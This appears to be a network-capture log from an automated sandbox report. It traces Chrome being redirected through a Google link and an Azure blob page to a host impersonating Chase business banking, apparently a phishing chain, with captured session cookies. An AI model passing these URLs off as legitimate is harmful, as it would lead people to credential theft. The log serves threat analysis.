2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 3d 61 2b 22 2f 22 2b 63 2e 61 63 74 69 6f 6e 29 3b 28 6c 3d 5f 2e 57 65 28 22 69 66 72 61 6d 65 73 2f 22 2b 6c 2b 22 2f 75 72 6c 22 29 29 7c 7c 28 6c 3d 22 3a 69 6d 5f 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 22 2b 6d 2b 22 3f 75 73 65 67 61 70 69 3d 31 22 29 3b 66 6f 72 28 6e 20 69 6e 20 41 6f 29 66 5b 6e 5d 3d 6e 2b 22 2f 22 2b 28 63 5b 6e 5d 7c 7c 41 6f 5b 6e 5d 29 2b 22 2f 22 3b 76 61 72 20 6e 3d 5f 2e 4b 6c 28 5f 2e 79 65 2c 6c 2e 72 65 70 6c 61 63 65 28 5f 2e 63 6d 2c 6d 6f 28 66 29 29 29 3b 6d 3d 22 69 66 72 61 6d 65 73 2f 22 2b 61 2b 22 2f 70 61 72 61 6d 73 2f 22 3b 66 3d 7b 7d 3b 5f 2e 45 65 28 63 2c 66 29 3b 28 6c 3d 5f 2e Data Ascii: =a+"/"+c.action);(l=_.We("iframes/"+l+"/url"))\|\|(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+m+"?usegapi=1");for(n in Ao)f[n]=n+"/"+(c[n]\|\|Ao[n])+"/";var n=_.Kl(_.ye,l.replace(_.cm,mo(f)));m="iframes/"+a+"/params/";f={};_.Ee(c,f);(l=_.
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 2c 68 29 3b 62 3d 68 2e 69 64 3b 63 3d 5f 2e 43 65 28 29 3b 63 2e 69 64 3d 62 3b 63 2e 75 73 65 72 50 61 72 61 6d 73 3d 68 2e 75 73 65 72 50 61 72 61 6d 73 3b 63 2e 75 72 6c 3d 68 2e 75 72 6c 3b 63 2e 74 79 70 65 3d 68 2e 74 79 70 65 3b 63 2e 73 74 61 74 65 3d 31 3b 5f 2e 54 6e 5b 62 5d 3d 63 3b 62 3d 68 7d 65 6c 73 65 20 62 3d 6e 75 6c 6c 3b 62 26 26 28 28 63 3d 62 2e 69 64 29 26 26 64 2e 70 75 73 68 28 63 29 2c 56 6f 28 61 2c 62 29 29 7d 7d 2c 57 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 26 26 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 26 26 62 29 7b 69 66 28 63 29 72 65 74 75 72 6e 20 31 3b 69 66 28 4d 6f 5b 62 5d 29 7b 69 66 28 6a 6f 5b 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 29 72 65 74 75 72 Data Ascii: ,h);b=h.id;c=_.Ce();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.Tn[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),Vo(a,b))}},Wo=function(a,b,c){if(a&&a.nodeType===1&&b){if(c)return 1;if(Mo[b]){if(jo[a.nodeName.toLowerCase()])retur
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3b 65 3e 30 26 26 63 3e 3d 65 26 26 28 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 73 72 74 3d 63 2d 65 29 7d 69 66 28 62 29 7b 76 61 72 20 66 3d 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 6c 6f 61 64 3b 0a 65 3e 30 26 26 63 3e 3d 65 26 26 28 66 2e 74 69 63 6b 28 22 5f 77 74 73 72 74 22 2c 76 6f 69 64 20 30 2c 65 29 2c 66 2e 74 69 63 6b 28 22 77 74 73 72 74 5f 22 2c 22 5f 77 74 73 72 74 22 2c 63 29 2c 66 2e 74 69 63 6b 28 22 74 62 73 64 5f 22 2c 22 77 74 73 72 74 5f 22 29 29 7d 74 72 79 7b 62 3d 6e 75 6c 6c 2c 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 26 26 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 63 73 69 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 77 Data Ascii: vigationStart;e>0&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;e>0&&c>=e&&(f.tick("_wtsrt",void 0,e),f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(w
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 56 69 61 53 70 64 79 26 26 28 64 2b 3d 22 26 70 3d 73 22 29 3b 69 66 28 65 2e 77 61 73 4e 70 6e 4e 65 67 6f 74 69 61 74 65 64 29 7b 64 2b 3d 22 26 6e 70 6e 3d 31 22 3b 76 61 72 20 66 3d 65 2e 6e 70 6e 4e 65 67 6f 74 69 61 74 65 64 50 72 6f 74 6f 63 6f 6c 3b 66 26 26 28 64 2b 3d 22 26 6e 70 6e 76 3d 22 2b 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 7c 65 73 63 61 70 65 29 28 66 29 29 7d 65 2e 77 61 73 41 6c 74 65 72 6e 61 74 65 50 72 6f 74 6f 63 6f 6c 41 76 61 69 6c 61 62 6c 65 26 26 28 64 2b 3d 22 26 61 70 61 3d 31 22 29 7d 76 61 72 20 68 3d 61 2e 74 2c 6b 3d 68 2e 73 74 61 72 74 3b 65 3d 5b 5d 3b 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6c 20 69 6e 20 68 29 69 66 28 6c 21 3d 0a 22 73 74 61 72 74 22 26 26 6c 2e 69 6e 64 65 78 4f 66 28 22 5f Data Ascii: ViaSpdy&&(d+="&p=s");if(e.wasNpnNegotiated){d+="&npn=1";var f=e.npnNegotiatedProtocol;f&&(d+="&npnv="+(encodeURIComponent\|\|escape)(f))}e.wasAlternateProtocolAvailable&&(d+="&apa=1")}var h=a.t,k=h.start;e=[];f=[];for(var l in h)if(l!="start"&&l.indexOf("_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49815	142.250.181.132	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:35 UTC	703	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:36 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Fri, 20 Dec 2024 00:21:35 GMT Expires: Fri, 20 Dec 2024 00:21:35 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:36 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-12-20 00:21:36 UTC	1390	IN	Data Raw: df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 a0 1b 24 f1 3a 8e 7d be ec 7a bb da Data Ascii: /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC$:}z
2024-12-20 00:21:36 UTC	1061	IN	Data Raw: ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa ec 7c 94 2c 68 61 76 db fd 0c ec c6 48 2c 6d 29 b4 c1 6a 99 b2 03 33 d6 Data Ascii: P7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#\|,havH,m)j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49817	142.250.181.132	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:35 UTC	1182	OUT	GET /url?q=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2&sa=D&source=apps-viewer-frontend&ust=1734740489432843&usg=AOvVaw1JS_jyoOcFgFxlS4pA6o8h&hl=en HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:36 UTC	414	IN	HTTP/1.1 200 OK Location: https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2 Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() Date: Fri, 20 Dec 2024 00:21:36 GMT Server: gws Content-Length: 481 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:36 UTC	481	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 69 74 79 75 6e 6c 6f 63 6b 69 6e 67 2e 62 6c 6f 62 2e 63 6f 72 65 2e 77 69 6e 64 6f 77 73 2e 6e 65 74 2f 70 72 6f 63 65 73 73 2f 63 6f 6d 70 6c 65 74 65 2e 68 74 6d 6c 3f 34 38 74 71 32 22 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 6c 6f 63 61 74 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>Redirecting</TITLE><META HTTP-EQUIV="refresh" content="1; url=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2"></HEAD><BODY onLoad="locat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49819	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:36 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=CoJHxHY775dVVkRiHnJCVdwtyT34gZ7NdGuOjiUG7mmSq9Q3Rowxp6PbbUGc_vBDA73_43dcIrDNroDrbYi_Q7LhyCRvb4MhAWZ3gmhmurv0f_t_sZveBf0ZNW22FWnzNo1S19q4y4a5faAwI2PJ4a4zoGMx6Q47tRpTqTwlqCQJeZ4w4v-rwKM5IuZuU_U
2024-12-20 00:21:37 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:36 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:37 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:21:37 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49823	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:38 UTC	747	OUT	GET /?ref=trush39dh3sc HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://securityunlocking.blob.core.windows.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 00:21:39 UTC	598	IN	HTTP/1.1 302 See Other Date: Fri, 20 Dec 2024 00:21:38 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: ref=trush39dh3sc; expires=Fri, 20-Dec-2024 01:21:38 GMT; Max-Age=3600; path=/ Set-Cookie: referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv; expires=Fri, 20-Dec-2024 01:21:38 GMT; Max-Age=3600; path=/ Location: secure/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49825	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:38 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:39 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:39 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:39 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:21:39 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49824	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:39 UTC	875	OUT	GET /secure/ HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://securityunlocking.blob.core.windows.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; ref=trush39dh3sc; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-12-20 00:21:39 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 09 Feb 2024 14:04:00 GMT ETag: "26be6-610f36651d400" Accept-Ranges: bytes Content-Length: 158694 Vary: Accept-Encoding Connection: close Content-Type: text/html
